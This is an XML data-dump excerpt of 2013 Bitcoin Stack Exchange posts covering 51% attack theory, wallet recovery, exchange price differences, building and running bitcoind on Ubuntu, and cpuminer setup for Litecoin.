  <row Id="18008" PostTypeId="2" ParentId="18001" CreationDate="2013-12-05T03:17:24.367" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How big are the efforts to induce a &gt;51% attack? (DDoS / hack Pools + provide own hashing power)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't think anyone really knows. What you would need to know is how much hashing power, either currently being used to mine or not, is controlled by a single organization that might develop malicious intent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a pool, or pools conspiring, suddenly started launching 51% attacks, miners would leave those pools. But by that time, some damage would certainly be done.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could the crashed BlockChain get recovered? (after implementing attack prevention code)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure. In theory, all the honest Bitcoin users could agree to rewind the blockchain to a point prior to the first significant reorganization. At that point, there would be a battle to get transactions in before others get conflicting transactions in. There would be winners and losers and it would be ugly, but Bitcoin would survive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not clear what the &quot;attack prevention code&quot; would consist of. One possibility would be to change the mining algorithm so that the attacker would have to buy all new ASICs, but so would all Bitcoin miners, so it's not clear whether you could obtain an agreement to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is a trusted central authority to issue &quot;mining contracts&quot;. Miners would have to sign their blocks and miners who attempted 51% attacks would find their contracts revoked. This would have the unfortunate effect of centralizing Bitcoin somewhat, but at least each pool could decide for themselves which &quot;contracts&quot; they'll honor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there are better solutions out there.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-05T03:17:24.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18009" PostTypeId="2" ParentId="18005" CreationDate="2013-12-05T03:25:24.383" Score="1" Body="&lt;p&gt;An important advantage they have over Coinbase is that they can offer a service to other people than U.S. inhabitants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mtgoxUSD&lt;/code&gt; may be by far MtGox's largest market, but don't forget that &lt;code&gt;mtgoxEUR&lt;/code&gt; and &lt;code&gt;mtgoxJPY&lt;/code&gt; are still the 5th and 6th largest markets that exist. More trade volume means more robust and stable prices which is a good advantage as trader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with Kraken, so I can't speak for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Coinbase does not support &lt;strong&gt;&lt;a href=&quot;http://www.investopedia.com/terms/l/limitorder.asp&quot; rel=&quot;nofollow&quot;&gt;limit orders&lt;/a&gt;&lt;/strong&gt;. This is &lt;strong&gt;very&lt;/strong&gt; important. Read the link or search a little about limit order and you will understand.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="5406" LastEditDate="2014-02-03T23:10:40.160" LastActivityDate="2014-02-03T23:10:40.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18010" PostTypeId="1" AcceptedAnswerId="18015" CreationDate="2013-12-05T03:58:07.307" Score="1" ViewCount="180" Body="&lt;p&gt;Back in June I was mining just to see what it was all about.  I grabbed bitcoin-qt, generated an address and put that address into the payout info of my account at the pool I was mining in.  I told it to send to my wallet for every .5 coins mined and during the time I let it run I managed to accumulate just over .5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I eventually quit running it, and sort of forgot about it.  I later formatted and re-installed, but I remembered my progress and backed up the folder containing my miner and my wallet.  Now it's Dec and my .5 coin is worth a bit of cash.  However I didn't export or back up my wallet, I just copied the folder.  Since there was no install routine I figured this was enough to preserve my addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have the address I told it to send to and I can see the payout in the block chain and I see my address waiting for the payment.  Is there a way to put this address into my wallet or am I out of luck?&lt;/p&gt;&#xA;" OwnerUserId="10152" LastActivityDate="2013-12-05T17:59:26.537" Title="Possible to use an already generated bitcoin address?" Tags="|transactions|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18011" PostTypeId="1" CreationDate="2013-12-05T04:08:20.870" Score="1" ViewCount="2674" Body="&lt;p&gt;So Im having a bit of a problem with my bitcoin wallet. See, I got into bitcoin about 2 years ago, back when bitcoins were worth very little real money, if any at all, but I managed to get quite a few. I recently found out they were getting bigger, so I tried to open bitcoin with my wallet, but it crashed, so I moved it from my mac to my PC. It said it was something like 200 weeks behind, so I waited, and now when its finally done, it says I have no bitcoins, but Im sure this wallet had some. Any ideas of how to get them back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried getting my wallet onto blockchain, but I always get the error-&#xA;Unexpected end of file from server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in my bitcoin qt, I dont actually have any addresses &lt;/p&gt;&#xA;" OwnerUserId="10153" LastActivityDate="2022-01-14T08:01:05.603" Title="Old bitcoin wallet not working" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18013" PostTypeId="2" ParentId="10010" CreationDate="2013-12-05T05:08:04.563" Score="0" Body="&lt;p&gt;I already posted this answer, but it's gone for some reason. If some moderator deleted it, then I am ok with it, but shame on them for not informing me. In any case, here is the shell script I run on my computers to get bitcoin up and running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;# Word of caution, I am not an experienced shell programmer. All I can #&#xA;# guarantee is that this script has worked for me, and that it has     #&#xA;# done so on multiple Ubuntu machines (one 11.10 and one 13.10), so    #&#xA;# hopefully it will work for you too                                   #&#xA;&#xA;# Install some packages as instructed on various web sites&#xA;sudo apt-get -y install qt4-qmake libqt4-dev build-essential libboost-dev libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libssl-dev&#xA;sudo apt-get -y install libtool autotools-dev autoconf&#xA;sudo apt-get -y install libdb4.8-dev     # Generally this step fails&#xA;sudo apt-get -y install libdb4.8++-dev   # Generally this step fails&#xA;sudo apt-get -y install libboost1.37-dev # Sometimes this step fail&#xA;sudo apt-get -y install libboost-all-dev # Sometimes this step fail&#xA;sudo apt-get -y install libminiupnpc-dev&#xA;sudo apt-get -y install libdb++-dev&#xA;sudo apt-get -y install libprotobuf-dev&#xA;sudo apt-get -y install libqrencode-dev&#xA;&#xA;&#xA;# Build berkley db4.8&#xA;# Technically, this should only be installed if the above              #&#xA;# libdb4.8XX-dev packages failed to install but nothing beats a little #&#xA;# overkill =)                                                          #&#xA;cd ~/Downloads&#xA;&#xA;if [ ! -e db-4.8.30 ]&#xA;then&#xA;   wget http://download.oracle.com/berkeley-db/db-4.8.30.tar.gz&#xA;   tar zxvf db-4.8.30.tar.gz&#xA;   rm -f db-4.8.30.tar.gz&#xA;fi&#xA;&#xA;cd db-4.8.30/build_unix&#xA;../dist/configure --prefix=/usr/local --enable-cxx # If this doesn't work, try removing or changing prefix&#xA;make&#xA;sudo make install&#xA;cd ~/Downloads&#xA;rm -fr db-4.8.30/&#xA;&#xA;# Build bitcoin&#xA;cd ~/Downloads&#xA;if [ ! -e bitcoin ]&#xA;then&#xA;   git clone https://github.com/bitcoin/bitcoin ~/Downloads/bitcoin&#xA;fi&#xA;&#xA;cd bitcoin&#xA;&#xA;./autogen.sh&#xA;./configure # Non Ubuntu 13.xx versions&#xA;# ./configure --with-boost-libdir=/usr/lib/x86_64-linux-gnu # Ubuntu 13.xx version&#xA;make&#xA;sudo make install&#xA;&#xA;cd ~/Downloads&#xA;rm -fr bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10137" LastActivityDate="2013-12-05T05:08:04.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18014" PostTypeId="1" CreationDate="2013-12-05T05:08:23.067" Score="1" ViewCount="990" Body="&lt;p&gt;Sorry if this is a basic question, I'm new to this stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, according to cryptocoincharts.info, Bitcoins are trading at $1050 on BTC-E but $1228 on Mt. Gox. How is this possible? What would cause such a large price discrepancy? Shouldn't it be possible to capitalize on this difference by buying at BTC-E and selling at Mt. Gox, and if so shouldn't that tend to equalize the trading prices?&lt;/p&gt;&#xA;" OwnerUserId="10160" LastActivityDate="2014-01-30T21:53:06.643" Title="Why are Bitcoin prices so different between different markets?" Tags="|trading|" AnswerCount="1" CommentCount="3" ClosedDate="2013-12-31T15:39:55.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="18015" PostTypeId="2" ParentId="18010" CreationDate="2013-12-05T05:40:13.420" Score="0" Body="&lt;p&gt;You're out of luck if you don't have the wallet, only the address. If anybody could take control of an address they don't have the private key of, the whole system is broken. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-05T05:40:13.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18016" PostTypeId="1" CreationDate="2013-12-05T05:53:06.943" Score="5" ViewCount="3150" Body="&lt;p&gt;I do realize that in the early stages bitcoin has to download a lot (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9816/how-long-does-it-take-to-download-the-blockchain-its-been-over-a-day-and-still&quot;&gt;How long does it take to download the blockchain?&lt;/a&gt;), however, I assume this is like &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;rsync&lt;/code&gt; where it displays the progress. Right now, when I issue the command &lt;code&gt;bitcoind&lt;/code&gt;, it just hangs and outputs nothing. Could this be due to closed ports? Is it sufficient that I opened ports on my Ubuntu router, or must I forward those ports? Alternatively, is there a command line parameter I have to issue to get the output of bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="10137" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-12-05T07:09:15.903" Title="bitcoind just hangs (no output at all)" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18017" PostTypeId="2" ParentId="18016" CreationDate="2013-12-05T06:07:32.057" Score="6" Body="&lt;p&gt;No output is normal, it's meant to be run as a daemon. If you want to see progress however, try &lt;code&gt;bitcoind -printtoconsole&lt;/code&gt; or &lt;code&gt;tail -f ~/.bitcoin/debug.log&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastEditorUserId="9790" LastEditDate="2013-12-05T06:18:09.190" LastActivityDate="2013-12-05T06:18:09.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18021" PostTypeId="1" AcceptedAnswerId="18046" CreationDate="2013-12-05T06:49:23.410" Score="4" ViewCount="7822" Body="&lt;p&gt;So I just started writing a rails app that will be an online wallet. I'm looking over the API code examples for connecting to the bitcoin network at &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP was the easiest example, seen here &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  require_once 'jsonRPCClient.php';&#xA;&#xA;  $bitcoin = new jsonRPCClient('http://user:password@127.0.0.1:8332/');&#xA;&#xA;  echo &quot;&amp;lt;pre&amp;gt;\n&quot;;&#xA;  print_r($bitcoin-&amp;gt;getinfo()); echo &quot;\n&quot;;&#xA;  echo &quot;Received: &quot;.$bitcoin-&amp;gt;getreceivedbylabel(&quot;Your Address&quot;).&quot;\n&quot;;&#xA;  echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I'm presuming that it connects to the bitcoin network via a username and password. Couple of questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What username/password?&lt;/strong&gt; I bought bitcoin on coinbase, then exported it to a paper wallet. What user/pass is associated with my bitcoin? I thought it was just public/private key? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why port 8332?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why 127.0.0.1? Could it be any address?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="10168" LastEditorUserId="132" LastEditDate="2013-12-10T12:13:03.213" LastActivityDate="2013-12-10T16:43:58.390" Title="How do you connect to the Bitcoin Client?" Tags="|bitcoind|client|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18022" PostTypeId="2" ParentId="10010" CreationDate="2013-12-05T07:06:43.523" Score="0" Body="&lt;p&gt;In the Open Synaptic Package manager, search: bitcoin and click install.&#xA;Bitcoin is already in the UBUNTU repositories.&lt;/p&gt;&#xA;" OwnerUserId="10163" LastEditorUserId="132" LastEditDate="2013-12-20T11:06:12.520" LastActivityDate="2013-12-20T11:06:12.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18023" PostTypeId="2" ParentId="7573" CreationDate="2013-12-05T07:07:18.337" Score="5" Body="&lt;p&gt;I just made a simple website which shows XRP price for different gateways. No historic charts yet.. &lt;a href=&quot;http://xrpvalue.com/&quot;&gt;http://xrpvalue.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3163" LastActivityDate="2013-12-05T07:07:18.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18024" PostTypeId="2" ParentId="18016" CreationDate="2013-12-05T07:09:15.903" Score="4" Body="&lt;p&gt;You should be using something like so to run bitcoind as a daemon&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, you can check on it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9512" LastActivityDate="2013-12-05T07:09:15.903" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18025" PostTypeId="2" ParentId="10010" CreationDate="2013-12-05T07:10:03.367" Score="-1" Body="&lt;p&gt;Oh, once you run it after install, It could take up to 7 hours to update your wallet. After it's updated. Remember to encrypt your bitcoin wallet with a hard password but one you can never forget. Because if you do forget your password, All your bitcoins will be lost.&lt;/p&gt;&#xA;" OwnerUserId="10163" LastActivityDate="2013-12-05T07:10:03.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18026" PostTypeId="1" CreationDate="2013-12-05T07:56:32.877" Score="1" ViewCount="11339" Body="&lt;p&gt;I got this in the CMD :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer.exe is not recognized as an internal or external command, operable program or batch file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded cpuminer and cudaminer to mine LTC with my labtop (core i7, Nvidia GT 525 M)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using www.wemineltc.com  pool &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I double click the .bat  file (cmd flash for a sec)  then nothing happen &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can someone  help me please ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i  have used this tutorial : &lt;a href=&quot;https://teksyndicate.com/forum/litecoin/guide-mining-nvidia-now-guide-mining-feathercoin/137688&quot; rel=&quot;nofollow&quot;&gt;https://teksyndicate.com/forum/litecoin/guide-mining-nvidia-now-guide-mining-feathercoin/137688&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10171" LastEditorUserId="5406" LastEditDate="2016-04-24T09:00:31.403" LastActivityDate="2016-04-24T09:00:31.403" Title="problem when start using cpuminer / cudaminer" Tags="|litecoin|miner-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18027" PostTypeId="1" CreationDate="2013-12-05T08:42:23.230" Score="3" ViewCount="87" Body="&lt;p&gt;Is it possible to update Bitcoin transactions over mobile networks using texts or voice data transmission?&lt;/p&gt;&#xA;" OwnerUserId="9826" LastEditorUserId="1405" LastEditDate="2014-01-04T17:52:35.570" LastActivityDate="2014-01-04T17:52:35.570" Title="Can a blockchain transaction history be updated by text messages using a mobile network?" Tags="|transactions|blockchain|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18028" PostTypeId="1" CreationDate="2013-12-05T09:16:19.890" Score="2" ViewCount="704" Body="&lt;p&gt;What happens if you send real Bitcoins to a testnet address?&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2020-11-02T14:32:21.587" Title="What happens if you send BTC to a testnet address?" Tags="|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18029" PostTypeId="2" ParentId="18028" CreationDate="2013-12-05T09:23:58.903" Score="5" Body="&lt;p&gt;You can't. The version byte for testnet addresses is different, so their addresses start with &quot;m&quot; or &quot;n&quot; rather than a 1 for the real network. A client will see the address as invalid. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-05T09:23:58.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18030" PostTypeId="2" ParentId="16858" CreationDate="2013-12-05T09:24:57.283" Score="3" Body="&lt;p&gt;I found &lt;a href=&quot;https://github.com/sour-is/bip38tool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sour-is/bip38tool&lt;/a&gt; on github and after a little bit of struggle with the unfamilar golang ecosystem got it installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, the instructions for use are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export BIP38_PASS=&amp;lt;PASSWORD&amp;gt;&#xA;cd /usr/local/go/src/bip38tool&#xA;./bip38tool decrypt &amp;lt;KEY&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This produces your entire decrypted wallet including the plaintext private key which you can import into electrum or any other wallet application.&lt;/p&gt;&#xA;" OwnerUserId="10172" LastEditorUserId="10172" LastEditDate="2013-12-08T03:00:05.713" LastActivityDate="2013-12-08T03:00:05.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18031" PostTypeId="1" CreationDate="2013-12-05T09:26:05.537" Score="1" ViewCount="1046" Body="&lt;p&gt;I have started litecoin mining with cpuminer on Ubuntu 12.04 and I keep getting&#xA;this message.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PROOF OF WORK: RESULT: false(booooooo)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From what I understand litecoin uses scrypt however my cpuminer is outputting it is using SHA256, how can I change it to use the correct algortmn Here is my shell output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@falcon1:/home/cpuminer# [2013-12-05 09:14:46] Binding thread 1 to cpu 1&#xA;[2013-12-05 09:14:47] 2 miner threads started, using SHA256 '4way' algorithm.&#xA;[2013-12-05 09:15:02] thread 0: 16777216 hashes, 1012.62 khash/sec&#xA;[2013-12-05 09:15:03] thread 1: 16777216 hashes, 996.63 khash/sec&#xA;[2013-12-05 09:16:09] thread 1: 59213728 hashes, 936.63 khash/sec&#xA;[2013-12-05 09:16:10] thread 0: 59213728 hashes, 920.90 khash/sec&#xA;[2013-12-05 09:17:09] thread 1: 56394048 hashes, 941.61 khash/sec&#xA;[2013-12-05 09:17:12] thread 0: 55512896 hashes, 893.86 khash/sec&#xA;[2013-12-05 09:18:12] thread 0: 53722176 hashes, 895.46 khash/sec&#xA;[2013-12-05 09:18:13] thread 1: 56394048 hashes, 878.69 khash/sec&#xA;[2013-12-05 09:19:12] thread 1: 52869440 hashes, 895.40 khash/sec&#xA;[2013-12-05 09:19:48] LONGPOLL detected new block&#xA;[2013-12-05 09:19:48] thread 0: 33763392 hashes, 892.91 khash/sec&#xA;[2013-12-05 09:19:48] thread 1: 31865344 hashes, 890.19 khash/sec&#xA;[2013-12-05 09:20:25] thread 1: 34381408 hashes, 926.39 khash/sec&#xA;[2013-12-05 09:20:25] PROOF OF WORK RESULT: false (booooo)&#xA;[2013-12-05 09:20:45] thread 0: 53310624 hashes, 937.28 khash/sec&#xA;[2013-12-05 09:21:22] thread 1: 55753664 hashes, 977.72 khash/sec&#xA;[2013-12-05 09:21:34] LONGPOLL detected new block&#xA;[2013-12-05 09:21:34] thread 0: 49669760 hashes, 1022.35 khash/sec&#xA;[2013-12-05 09:21:34] thread 1: 11517600 hashes, 1021.31 khash/sec&#xA;[2013-12-05 09:22:25] LONGPOLL detected new block&#xA;[2013-12-05 09:22:25] thread 0: 50791968 hashes, 982.01 khash/sec&#xA;[2013-12-05 09:22:25] thread 1: 52474560 hashes, 1014.78 khash/sec&#xA;[2013-12-05 09:23:25] thread 0: 58606144 hashes, 981.58 khash/sec&#xA;[2013-12-05 09:23:26] thread 1: 60547584 hashes, 1009.27 khash/sec&#xA;[2013-12-05 09:23:51] LONGPOLL detected new block&#xA;[2013-12-05 09:23:51] thread 0: 26034368 hashes, 1011.37 khash/sec&#xA;[2013-12-05 09:23:51] thread 1: 26110848 hashes, 1026.02 khash/sec&#xA;[2013-12-05 09:24:43] LONGPOLL detected new block&#xA;[2013-12-05 09:24:43] thread 0: 50636992 hashes, 966.79 khash/sec&#xA;[2013-12-05 09:24:43] thread 1: 53279776 hashes, 1017.50 khash/sec&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10179" LastEditorUserId="5406" LastEditDate="2016-04-24T12:40:39.560" LastActivityDate="2016-04-24T12:40:39.560" Title="How do I set CPUminer to Scrypt instead of SHA256?" Tags="|mining-pools|litecoin|miner-configuration|cpuminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18032" PostTypeId="1" CreationDate="2013-12-05T09:54:52.460" Score="0" ViewCount="230" Body="&lt;p&gt;is there some resourses where I can sell pc time for mining. I'm not talking about project where people set &quot;some software&quot; on pc and recive 1$ per day, that was popular on time low cost mining of bitcoin and where people even don't know that they mine bitcoins. I`m talking of market where people fully understand what they do. I know about cex.io, but there you buy and sell power of hoster, not your personal calculating power. The only place what I found is ebay, where from time to time people sell their calculate power for hours or days. Anything similar?&lt;/p&gt;&#xA;" OwnerUserId="9632" LastEditorUserId="5406" LastEditDate="2016-04-25T21:29:27.410" LastActivityDate="2016-04-25T21:29:27.410" Title="Is there some resourses where I can sell pc time for mining?" Tags="|mining-pools|cloud-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18033" PostTypeId="1" AcceptedAnswerId="18054" CreationDate="2013-12-05T10:18:15.890" Score="8" ViewCount="5239" Body="&lt;p&gt;I am trying to get my foot in the door wrt to bitcoind. I pulled the github version &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. As suggested &lt;a href=&quot;https://bitcoin.stackexchange.com/a/18024/10137&quot;&gt;here&lt;/a&gt;, I am starting the daemon like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I am monitoring it like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get the following output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 89900,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 269516,&#xA;    &quot;timeoffset&quot; : -2,&#xA;    &quot;connections&quot; : 8,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 510929738.01615179,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1386220819,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;errors&quot; : &quot;This is a pre-release test build - use at your own risk - do not use for mining or merchant applications&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously some are self explanatory, but could someone go through and explain what all of this output means?&lt;/p&gt;&#xA;" OwnerUserId="10137" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2017-09-01T12:45:25.160" Title="What does getinfo output mean?" Tags="|bitcoind|daemon|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18034" PostTypeId="2" ParentId="17829" CreationDate="2013-12-05T10:36:35.470" Score="1" Body="&lt;p&gt;Inputs are always spent completely! Any amount of the sum of inputs that your transaction doesn't spend, implicitly becomes available to the validating miner to assign as a transaction fee to an address of his choosing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most clients recognize change as coming from another address that you also control and thus allow you to immediately spend it. So, your money is not frozen due to being change in another transaction.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-05T21:58:00.010" LastActivityDate="2013-12-05T21:58:00.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18035" PostTypeId="2" ParentId="17701" CreationDate="2013-12-05T11:03:41.587" Score="0" Body="&lt;p&gt;Generally, people tend to use round integers as in &quot;I will sell at $900&quot;. Some users may want to make sure to sell before the market starts taking a crack at such a natural accumulations of offers, but still want to get the highest price. For that they might create an offer just slightly below $900, i.e. $899.9837922. In that case, they would lose two cents per BTC, but their offer would be matched before a big set of offers.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-05T11:03:41.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18036" PostTypeId="2" ParentId="17316" CreationDate="2013-12-05T12:06:13.167" Score="0" Body="&lt;p&gt;My suggestion would be to choose 1 address out of them.... send ALL your bitcoins to your own address and this would organize it for you. Now query blockchain and that one address should have all the worth of bitcoins which should be equal to the figure being shown by multibit. &lt;/p&gt;&#xA;" OwnerUserId="10185" LastActivityDate="2013-12-05T12:06:13.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18037" PostTypeId="1" AcceptedAnswerId="18127" CreationDate="2013-12-05T12:43:12.870" Score="2" ViewCount="1102" Body="&lt;p&gt;I have received bitcoins from an online wallet and I am now trying to send 0.05 BTC to another address. I have by now figured out that I need to set at least 0.0001 BTC as a sender fee (that error message was confusing, because it appears &lt;em&gt;before&lt;/em&gt; has the opportunity to set that fee!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now getting the error message “MultiBit must be online and connected to more than one peer to send bitcoin”. I can see from the status in the lower left corner that MultiBit is online, but I can not see the number of peers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkFk2.png&quot; alt=&quot;screenshot of MultiBit 0.5.14 showing error message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I check the number of peers? &lt;/li&gt;&#xA;&lt;li&gt;Why is MultiBit not connected to more than one peer (if any)? &lt;/li&gt;&#xA;&lt;li&gt;How long can it take to connect to more than one peer? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am using MultiBit 0.5.14 with Ubuntu 13.10.&lt;/p&gt;&#xA;" OwnerUserId="10184" LastActivityDate="2014-01-05T13:24:40.030" Title="How many peers it MultiBit connected to? Can not send bitcoins" Tags="|multibit|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18038" PostTypeId="1" CreationDate="2013-12-05T13:33:20.533" Score="0" ViewCount="1502" Body="&lt;p&gt;Is there a Bitcoin price alert application that can use data from BitcoinCharts.com?  Something like a windows desktop alert is what I have in mind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this as I am trying to monitor prices of different exchanges such as localbitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not then I may write a quick application for it and post it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2014-02-09T09:46:11.893" LastActivityDate="2022-10-14T18:48:19.983" Title="Is there a Bitcoin price alert application that can use data from BitcoinCharts.com?" Tags="|trading|exchange-rate|windows|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18039" PostTypeId="2" ParentId="18032" CreationDate="2013-12-05T14:18:03.607" Score="1" Body="&lt;p&gt;A PC's general purpose CPU is so far outclassed by specialized mining chips (ASIC's) that its value for mining is almost null. Perhaps the only instance where a PC could be useful for mining is at the very beginning of a crypto-currencies life cycle, when has just been launched, and very few are mining it. But when ASIC mining hardware joins the coin's network, difficulty will rise and render CPU miners inconsequential.&#xA;If you expand the definition of PC to include ASIC mining hardware, then the idea of selling hash power is interesting though. I found the following reference to this idea: &lt;a href=&quot;https://en.bitcoin.it/wiki/Hash_Market&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Hash_Market&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10189" LastEditorUserId="10189" LastEditDate="2013-12-05T14:35:31.793" LastActivityDate="2013-12-05T14:35:31.793" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
